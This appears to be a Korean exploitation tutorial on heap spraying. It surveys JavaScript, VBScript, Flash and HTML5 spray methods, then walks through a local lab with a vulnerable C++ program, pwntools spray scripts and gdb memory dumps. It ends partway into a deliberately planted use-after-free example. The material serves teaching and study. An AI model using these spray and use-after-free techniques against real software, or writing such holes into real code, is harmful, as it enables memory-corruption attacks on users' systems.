<div align="center">
<script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script>
<!-- Contents -->
<ins class="adsbygoogle"
     style="display:inline-block;width:728px;height:90px"
     data-ad-client="ca-pub-1411820076951016"
     data-ad-slot="3793401480"></ins>
<script>
(adsbygoogle = window.adsbygoogle || []).push({});
</script>
</div>

Excuse the ads! We need some help to keep our site up.

<div id="google_translate_element"></div><script type="text/javascript">
function googleTranslateElementInit() {
  new google.translate.TranslateElement({pageLanguage: 'ko', layout: google.translate.TranslateElement.InlineLayout.SIMPLE, multilanguagePage: true, gaTrack: true, gaId: 'UA-92563911-1'}, 'google_translate_element');
}
</script><script type="text/javascript" src="//translate.google.com/translate_a/element.js?cb=googleTranslateElementInit"></script>

List

Heap Spray

Implementation of Heap Spray

JavaScript(JIT spray)
  • 웹 브라우저에서 힙 스프레이는 일반적으로 JavaScript로 구현되며 큰 문자열을 만들어 힙을 스프레이(JIT(Just-In-Time) spray)합니다 . 
    • 브라우저가 문자열을 구현하는 방법에 따라 문자열에 ASCII 또는 유니 코드 문자를 사용할 수 있습니다. 
VBScript
  • Internet Explorer 에서 경우에 따라 VBScript는 String 함수 를 사용하여 문자열을 만드는 데 사용됩니다 .

ActionScript
  • Adobe Flash 에서 ActionScript 를 사용한 Heap spray 악용 사례가 있습니다.
Images
  • 힙 스프레이 작업은 이미지 파일을 프로세스에로드하는 등 다른 방법을 통해 수행 할 수 있지만, 널리 사용되지는 않았습니다

HTML5
  • HTML5에서 도입 된 기술을 사용하여 힙을 매우 높은 할당 단위로 스프레이 할 수 있음을 보여주었습니다 . 
  • 특히 캔버스 API가 제공하는 저수준 비트 맵 인터페이스 와 web workers를 이용하여 신속하게 작업 할 수 있다고 합니다.

Proof of concept

Sample code

//g++ -o poc poc.cpp -ldl
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <cstring>
 
void heapSpray(){
    int size;
    char *data;
 
    printf("Input size:\n");
    read(0, &size, 4);
    if (size > 0) {
        printf("Input contents:\n");
        data = new char[size];
        read(0, data, size);
    }
}
 
int main(){
    printf("Heap spray!\n");
    while(1){
        char status[2];
        heapSpray();
        printf("Will you keep typing?(No:0):\n");
        read(0,&status,2);
 
        if(atoi(status) == 0){
	    	printf("Exit!\n");
            break;
		}
    }
    return 0;
}

The address to which the heap is allocated

lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc &
[1] 30346
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray!
Input size:

[1]+  Stopped                 ./poc
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc &
[2] 30347
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray!
Input size:

[2]+  Stopped                 ./poc
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ ./poc &
[3] 30348
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ Heap spray!
Input size:

[3]+  Stopped                 ./poc
lazenca0x0@ubuntu:~/Exploit/HeapSpray$
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30346
[sudo] password for lazenca0x0: 
Attaching to process 30346
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
Stopped reason: SIGTTIN
0x00007f8280e3f260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x0074c000         0x0077e000         rw-p	[heap]
...
gdb-peda$
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30347
Attaching to process 30347
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
Program received signal SIGTTIN, Stopped (tty input).
Stopped reason: SIGTTIN
0x00007fa7509f3260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01d1d000         0x01d4f000         rw-p	[heap]
...
gdb-peda$ 
lazenca0x0@ubuntu:~/Exploit/HeapSpray$ sudo gdb -q -p 30348
Attaching to process 30348
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
Program received signal SIGTTIN, Stopped (tty input).
Stopped reason: SIGTTIN
0x00007f6c2779e260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01579000         0x015ab000         rw-p	[heap]
...
gdb-peda$ 

Do Heap spray

from pwn import *
#context.log_level = 'debug'

sprayRange = 0x5000000
spraySize = 0x10000
sprayCount = sprayRange /spraySize

p = process('./poc')
sleep(20)

for i in xrange(sprayCount):
    size = spraySize - 0x10 # chunk의 크기
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = 'AAAABBBB' * (size // 8)
    buf += 'C' * (size - len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.wait()
lazenca0x0@ubuntu:~$ sudo gdb -q -p 56043
Attaching to process 56043
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
0x00007f9f2f3cb260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004007bd <+0>:	push   rbp
   0x00000000004007be <+1>:	mov    rbp,rsp
   0x00000000004007c1 <+4>:	sub    rsp,0x10
...
   0x0000000000400818 <+91>:	call   0x4005d0 <puts@plt>
   0x000000000040081d <+96>:	mov    eax,0x0
   0x0000000000400822 <+101>:	mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400826 <+105>:	xor    rcx,QWORD PTR fs:0x28
   0x000000000040082f <+114>:	je     0x400836 <main+121>
   0x0000000000400831 <+116>:	call   0x400620 <__stack_chk_fail@plt>
   0x0000000000400836 <+121>:	leave  
   0x0000000000400837 <+122>:	ret    
End of assembler dump.
gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00d34000         0x00d66000         rw-p	[heap]
...
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00d34000         0x05d67000         rw-p	[heap]
...
gdb-peda$ p/x 0x05d67000 - 0x00d66000
$2 = 0x5001000
gdb-peda$ 
lazenca0x0@ubuntu:~$ sudo gdb -p 56080
Attaching to process 56080
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...

0x00007f4a296a7260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x023da000         0x0240c000         rw-p	[heap]
...

gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x023da000         0x0740d000         rw-p	[heap]
...
gdb-peda$ p/x 0x0740d000 - 0x0240c000
$2 = 0x5001000
gdb-peda$ 
lazenca0x0@ubuntu:~$ sudo gdb -q -p 56097
Attaching to process 56097
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
0x00007f06b8fd0260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01b1e000         0x01b50000         rw-p	[heap]
...
gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01b1e000         0x06b51000         rw-p	[heap]
...
gdb-peda$ p/x 0x06b51000 - 0x01b50000
$2 = 0x5001000
gdb-peda$ 

#define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)

/*
  MMAP_THRESHOLD_MAX and _MIN are the bounds on the dynamically
  adjusted MMAP_THRESHOLD.
*/

#ifndef DEFAULT_MMAP_THRESHOLD_MIN
#define DEFAULT_MMAP_THRESHOLD_MIN (128 * 1024)
#endif

#ifndef DEFAULT_MMAP_THRESHOLD_MAX
  /* For 32-bit platforms we cannot increase the maximum mmap
     threshold much because it is also the minimum value for the
     maximum heap size and its alignment.  Going above 512k (i.e., 1M
     for new heaps) wastes too much address space.  */
# if __WORDSIZE == 32
#  define DEFAULT_MMAP_THRESHOLD_MAX (512 * 1024)
# else
#  define DEFAULT_MMAP_THRESHOLD_MAX (4 * 1024 * 1024 * sizeof(long))
# endif
#endif
#define M_MMAP_THRESHOLD      -3

#ifndef DEFAULT_MMAP_THRESHOLD
#define DEFAULT_MMAP_THRESHOLD DEFAULT_MMAP_THRESHOLD_MIN
#endif

...


static struct malloc_par mp_ =
{
  .top_pad = DEFAULT_TOP_PAD,
  .n_mmaps_max = DEFAULT_MMAP_MAX,
  .mmap_threshold = DEFAULT_MMAP_THRESHOLD,
  .trim_threshold = DEFAULT_TRIM_THRESHOLD,
...
}

static void *
sysmalloc (INTERNAL_SIZE_T nb, mstate av)
{

...


 if (av == NULL
	 || ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) 
		&& (mp_.n_mmaps < mp_.n_mmaps_max)))
    {
      char *mm;           /* return value from mmap call*/
 
    try_mmap:
      /*
         Round up size to nearest page.  For mmapped chunks, the overhead
         is one SIZE_SZ unit larger than for normal chunks, because there
         is no following chunk whose prev_size field could be used.
 
         See the front_misalign handling below, for glibc there is no
         need for further alignments unless we have have high alignment.
       */
      if (MALLOC_ALIGNMENT == 2 * SIZE_SZ)
        size = ALIGN_UP (nb + SIZE_SZ, pagesize);
from pwn import *
#context.log_level = 'debug'

sprayRange = 0x5000000
spraySize = 0x20000
sprayCount = sprayRange /spraySize

p = process('./poc')
sleep(20)

for i in xrange(sprayCount):
    size = spraySize - 0x10
    p.recvuntil("Input size:\n")
    p.send(p32(size))

    p.recvuntil("Input contents:\n")
    buf = 'AAAABBBB' * (size // 8)
    buf += 'C' * (size-len(buf))
    p.send(buf)

    p.recvuntil("Will you keep typing?(No:0):\n")
    if i == sprayCount-1:
        print "Finished Heap spray!\n"
        p.sendline(str(0))
    else:
        p.sendline(str(1))

p.wait()
lazenca0x0@ubuntu:~$ sudo gdb -q -p 55755
[sudo] password for lazenca0x0: 
Attaching to process 55755
Reading symbols from /home/lazenca0x0/Exploit/HeapSpray/poc...(no debugging symbols found)...done.
...
0x00007f2f4a932260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84	../sysdeps/unix/syscall-template.S: No such file or directory.
gdb-peda$ b *0x000000000040082f
Breakpoint 1 at 0x40082f
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01ca3000         0x01cd5000         rw-p	[heap]
0x00007f2f4a31c000 0x00007f2f4a332000 r-xp	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a332000 0x00007f2f4a531000 ---p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a531000 0x00007f2f4a532000 rw-p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a532000 0x00007f2f4a63a000 r-xp	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a63a000 0x00007f2f4a839000 ---p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a839000 0x00007f2f4a83a000 r--p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83a000 0x00007f2f4a83b000 rw-p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83b000 0x00007f2f4a9fb000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4a9fb000 0x00007f2f4abfb000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abfb000 0x00007f2f4abff000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abff000 0x00007f2f4ac01000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4ac01000 0x00007f2f4ac05000 rw-p	mapped
0x00007f2f4ac05000 0x00007f2f4ad77000 r-xp	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4ad77000 0x00007f2f4af77000 ---p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af77000 0x00007f2f4af81000 r--p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af81000 0x00007f2f4af83000 rw-p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af83000 0x00007f2f4af87000 rw-p	mapped
0x00007f2f4af87000 0x00007f2f4afad000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b18e000 0x00007f2f4b194000 rw-p	mapped
0x00007f2f4b1ac000 0x00007f2f4b1ad000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ad000 0x00007f2f4b1ae000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ae000 0x00007f2f4b1af000 rw-p	mapped
0x00007ffd30ee6000 0x00007ffd30f07000 rw-p	[stack]
0x00007ffd30f2f000 0x00007ffd30f32000 r--p	[vvar]
0x00007ffd30f32000 0x00007ffd30f34000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ c
Continuing.

Breakpoint 1, 0x000000000040082f in main ()
gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/HeapSpray/poc
0x01ca3000         0x01cd5000         rw-p	[heap]
0x00007f2f483ea000 0x00007f2f4a31c000 rw-p	mapped
0x00007f2f4a31c000 0x00007f2f4a332000 r-xp	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a332000 0x00007f2f4a531000 ---p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a531000 0x00007f2f4a532000 rw-p	/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007f2f4a532000 0x00007f2f4a63a000 r-xp	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a63a000 0x00007f2f4a839000 ---p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a839000 0x00007f2f4a83a000 r--p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83a000 0x00007f2f4a83b000 rw-p	/lib/x86_64-linux-gnu/libm-2.23.so
0x00007f2f4a83b000 0x00007f2f4a9fb000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4a9fb000 0x00007f2f4abfb000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abfb000 0x00007f2f4abff000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4abff000 0x00007f2f4ac01000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007f2f4ac01000 0x00007f2f4ac05000 rw-p	mapped
0x00007f2f4ac05000 0x00007f2f4ad77000 r-xp	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4ad77000 0x00007f2f4af77000 ---p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af77000 0x00007f2f4af81000 r--p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af81000 0x00007f2f4af83000 rw-p	/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007f2f4af83000 0x00007f2f4af87000 rw-p	mapped
0x00007f2f4af87000 0x00007f2f4afad000 r-xp	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4afc0000 0x00007f2f4b194000 rw-p	mapped
0x00007f2f4b1ac000 0x00007f2f4b1ad000 r--p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ad000 0x00007f2f4b1ae000 rw-p	/lib/x86_64-linux-gnu/ld-2.23.so
0x00007f2f4b1ae000 0x00007f2f4b1af000 rw-p	mapped
0x00007ffd30ee6000 0x00007ffd30f07000 rw-p	[stack]
0x00007ffd30f2f000 0x00007ffd30f32000 r--p	[vvar]
0x00007ffd30f32000 0x00007ffd30f34000 r-xp	[vdso]
0xffffffffff600000 0xffffffffff601000 r-xp	[vsyscall]
gdb-peda$ x/20gx 0x00007f2f483ea000
0x7f2f483ea000:	0x0000000000000000	0x0000000000021002
0x7f2f483ea010:	0x4242424241414141	0x4242424241414141
0x7f2f483ea020:	0x4242424241414141	0x4242424241414141
0x7f2f483ea030:	0x4242424241414141	0x4242424241414141
0x7f2f483ea040:	0x4242424241414141	0x4242424241414141
0x7f2f483ea050:	0x4242424241414141	0x4242424241414141
0x7f2f483ea060:	0x4242424241414141	0x4242424241414141
0x7f2f483ea070:	0x4242424241414141	0x4242424241414141
0x7f2f483ea080:	0x4242424241414141	0x4242424241414141
0x7f2f483ea090:	0x4242424241414141	0x4242424241414141
gdb-peda$ 

Example code

//g++ -o heapspray heapspray.cpp -ldl
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <cstring>
#include <dlfcn.h>

class UAF {
    char memo[160];

public:
    UAF(char *memo) { 
		strncpy(this->memo,memo,strlen(this->memo));
    }

    virtual void target() { 
		write(1, this->memo, strlen(this->memo));
    }
};

void heapSpray(){
    int size;
    char *data;

    printf("Input size:\n");
    read(0, &size, 4);
    if (size > 0) {
        printf("Input contents:\n");
        data = new char[size];
        read(0, data, size);
    }
}

int main(){
    char memo[160] = {};

    void *printf_addr = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);

    printf("Heap spray!\n");
    while(1){
        char status[2];
        heapSpray();
        printf("Will you keep typing?(No:0):\n");
        read(0,&status,2);

        if(atoi(status) == 0)
            break;
    }

    printf("Create vtable\n");
    read(0, memo, sizeof(memo));

    UAF *uaf = new UAF(memo);
    delete uaf;

    printf("UAF!\n");
    heapSpray();

    uaf->target();

    return 0;
}

UAF

lazenca0x0@ubuntu:~/Exploit/HeapSpray$ gdb -q ./heapspray
Reading symbols from ./heapspray...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400a5d <+0>:	push   rbp
   0x0000000000400a5e <+1>:	mov    rbp,rsp
   0x0000000000400a61 <+4>:	push   rbx
   0x0000000000400a62 <+5>:	sub    rsp,0xd8
   0x0000000000400a69 <+12>:	mov    rax,QWORD PTR fs:0x28
   0x0000000000400a72 <+21>:	mov    QWORD PTR [rbp-0x18],rax
   0x0000000000400a76 <+25>:	xor    eax,eax
   0x0000000000400a78 <+27>:	lea    rdx,[rbp-0xc0]
   0x0000000000400a7f <+34>:	mov    eax,0x0
   0x0000000000400a84 <+39>:	mov    ecx,0x14
   0x0000000000400a89 <+44>:	mov    rdi,rdx
   0x0000000000400a8c <+47>:	rep stos QWORD PTR es:[rdi],rax
   0x0000000000400a8f <+50>:	mov    esi,0x400cd0
   0x0000000000400a94 <+55>:	mov    rdi,0xffffffffffffffff
   0x0000000000400a9b <+62>:	call   0x4008a0 <dlsym@plt>
   0x0000000000400aa0 <+67>:	mov    QWORD PTR [rbp-0xe0],rax
   0x0000000000400aa7 <+74>:	mov    rax,QWORD PTR [rbp-0xe0]
   0x0000000000400aae <+81>:	mov    rsi,rax
   0x0000000000400ab1 <+84>:	mov    edi,0x400cd7
   0x0000000000400ab6 <+89>:	mov    eax,0x0
   0x0000000000400abb <+94>:	call   0x400800 <printf@plt>
   0x0000000000400ac0 <+99>:	mov    edi,0x400cee
   0x0000000000400ac5 <+104>:	call   0x400810 <puts@plt>
   0x0000000000400aca <+109>:	call   0x4009d6 <_Z9heapSprayv>
   0x0000000000400acf <+114>:	mov    edi,0x400cfa
   0x0000000000400ad4 <+119>:	call   0x400810 <puts@plt>
   0x0000000000400ad9 <+124>:	lea    rax,[rbp-0xd0]
   0x0000000000400ae0 <+131>:	mov    edx,0x2
   0x0000000000400ae5 <+136>:	mov    rsi,rax
   0x0000000000400ae8 <+139>:	mov    edi,0x0
   0x0000000000400aed <+144>:	call   0x400840 <read@plt>
   0x0000000000400af2 <+149>:	lea    rax,[rbp-0xd0]
   0x0000000000400af9 <+156>:	mov    rdi,rax
   0x0000000000400afc <+159>:	call   0x400870 <atoi@plt>
   0x0000000000400b01 <+164>:	test   eax,eax
   0x0000000000400b03 <+166>:	jne    0x400aca <main+109>
   0x0000000000400b05 <+168>:	mov    edi,0x400d17
   0x0000000000400b0a <+173>:	call   0x400810 <puts@plt>
   0x0000000000400b0f <+178>:	lea    rax,[rbp-0xc0]
   0x0000000000400b16 <+185>:	mov    edx,0xa0
   0x0000000000400b1b <+190>:	mov    rsi,rax
   0x0000000000400b1e <+193>:	mov    edi,0x0
   0x0000000000400b23 <+198>:	call   0x400840 <read@plt>
   0x0000000000400b28 <+203>:	mov    edi,0xa8
   0x0000000000400b2d <+208>:	call   0x4008c0 <_Znwm@plt>
   0x0000000000400b32 <+213>:	mov    rbx,rax
   0x0000000000400b35 <+216>:	lea    rax,[rbp-0xc0]
   0x0000000000400b3c <+223>:	mov    rsi,rax
   0x0000000000400b3f <+226>:	mov    rdi,rbx
   0x0000000000400b42 <+229>:	call   0x400ba8 <_ZN3UAFC2EPc>
   0x0000000000400b47 <+234>:	mov    QWORD PTR [rbp-0xd8],rbx
   0x0000000000400b4e <+241>:	mov    rax,QWORD PTR [rbp-0xd8]
   0x0000000000400b55 <+248>:	mov    rdi,rax
   0x0000000000400b58 <+251>:	call   0x400830 <_ZdlPv@plt>
   0x0000000000400b5d <+256>:	mov    edi,0x400d25
   0x0000000000400b62 <+261>:	call   0x400810 <puts@plt>
   0x0000000000400b67 <+266>:	call   0x4009d6 <_Z9heapSprayv>
   0x0000000000400b6c <+271>:	mov    rax,QWORD PTR [rbp-0xd8]
   0x0000000000400b73 <+278>:	mov    rax,QWORD PTR [rax]
   0x0000000000400b76 <+281>:	mov    rax,QWORD PTR [rax]
   0x0000000000400b79 <+284>:	mov    rdx,QWORD PTR [rbp-0xd8]
   0x0000000000400b80 <+291>:	mov    rdi,rdx
   0x0000000000400b83 <+294>:	call   rax
   0x0000000000400b85 <+296>:	mov    eax,0x0
   0x0000000000400b8a <+301>:	mov    rcx,QWORD PTR [rbp-0x18]
   0x0000000000400b8e <+305>:	xor    rcx,QWORD PTR fs:0x28
   0x0000000000400b97 <+314>:	je     0x400b9e <main+321>
   0x0000000000400b99 <+316>:	call   0x400880 <__stack_chk_fail@plt>
   0x0000000000400b9e <+321>:	add    rsp,0xd8
   0x0000000000400ba5 <+328>:	pop    rbx
   0x0000000000400ba6 <+329>:	pop    rbp
   0x0000000000400ba7 <+330>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400b42
Breakpoint 1 at 0x400b42
gdb-peda$ b *0x0000000000400b58
Breakpoint 2 at 0x400b58

gdb-peda$ disassemble _Z9heapSprayv
Dump of assembler code for function _Z9heapSprayv:
   0x00000000004009d6 <+0>:	push   rbp
   0x00000000004009d7 <+1>:	mov    rbp,rsp
   0x00000000004009da <+4>:	sub    rsp,0x20
   0x00000000004009de <+8>:	mov    rax,QWORD PTR fs:0x28
   0x00000000004009e7 <+17>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004009eb <+21>:	xor    eax,eax
   0x00000000004009ed <+23>:	mov    edi,0x400cb4
   0x00000000004009f2 <+28>:	call   0x400810 <puts@plt>
   0x00000000004009f7 <+33>:	lea    rax,[rbp-0x14]
   0x00000000004009fb <+37>:	mov    edx,0x4
   0x0000000000400a00 <+42>:	mov    rsi,rax
   0x0000000000400a03 <+45>:	mov    edi,0x0
   0x0000000000400a08 <+50>:	call   0x400840 <read@plt>
   0x0000000000400a0d <+55>:	mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400a10 <+58>:	test   eax,eax
   0x0000000000400a12 <+60>:	jle    0x400a46 <_Z9heapSprayv+112>
   0x0000000000400a14 <+62>:	mov    edi,0x400cc0
   0x0000000000400a19 <+67>:	call   0x400810 <puts@plt>
   0x0000000000400a1e <+72>:	mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400a21 <+75>:	cdqe   
   0x0000000000400a23 <+77>:	mov    rdi,rax
   0x0000000000400a26 <+80>:	call   0x400820 <_Znam@plt>
   0x0000000000400a2b <+85>:	mov    QWORD PTR [rbp-0x10],rax
   0x0000000000400a2f <+89>:	mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000400a32 <+92>:	movsxd rdx,eax
   0x0000000000400a35 <+95>:	mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400a39 <+99>:	mov    rsi,rax
   0x0000000000400a3c <+102>:	mov    edi,0x0
   0x0000000000400a41 <+107>:	call   0x400840 <read@plt>
   0x0000000000400a46 <+112>:	nop
   0x0000000000400a47 <+113>:	mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400a4b <+117>:	xor    rax,QWORD PTR fs:0x28
   0x0000000000400a54 <+126>:	je     0x400a5b <_Z9heapSprayv+133>
   0x0000000000400a56 <+128>:	call   0x400880 <__stack_chk_fail@plt>
   0x0000000000400a5b <+133>:	leave  
   0x0000000000400a5c <+134>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400a26
Breakpoint 3 at 0x400a26
gdb-peda$ b *0x0000000000400a41
Breakpoint 4 at 0x400a41
gdb-peda$
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/HeapSpray/heapspray 
Printf() address : 0x7ffff74dc800
Heap spray!
Input size:
100
Input contents:

Breakpoint 3, 0x0000000000400a26 in heapSpray() ()
gdb-peda$ i r rdi
rdi            0xa303031	0xa303031
gdb-peda$ set $rdi = 100
gdb-peda$ ni

0x0000000000400a2b in heapSpray() ()
gdb-peda$ i r rax
rax            0x615030	0x615030
gdb-peda$ c
Continuing.

Breakpoint 4, 0x0000000000400a41 in heapSpray() ()
gdb-peda$ c
Continuing.
AAAA
Will you keep typing?(No:0):
0
Create vtable
100
Breakpoint 1, 0x0000000000400b42 in main ()
gdb-peda$ i r rsi
rsi            0x7fffffffe3e0	0x7fffffffe3e0
gdb-peda$ x/gx 0x7fffffffe3e0
0x7fffffffe3e0:	0x000000000a303031
gdb-peda$ set *0x7fffffffe3e0 = 0x64
gdb-peda$ ni

0x0000000000400b47 in main ()
gdb-peda$ i r rax
rax            0x6150a8	0x6150a8
gdb-peda$ i r rbx
rbx            0x6150a0	0x6150a0
gdb-peda$ x/4gx 0x0000000000400d40
0x400d40 <_ZTV3UAF+16>:	0x0000000000400bf2	0x00000000006020a0
0x400d50 <_ZTI3UAF+8>:	0x0000000000400d58	0x0000000046415533
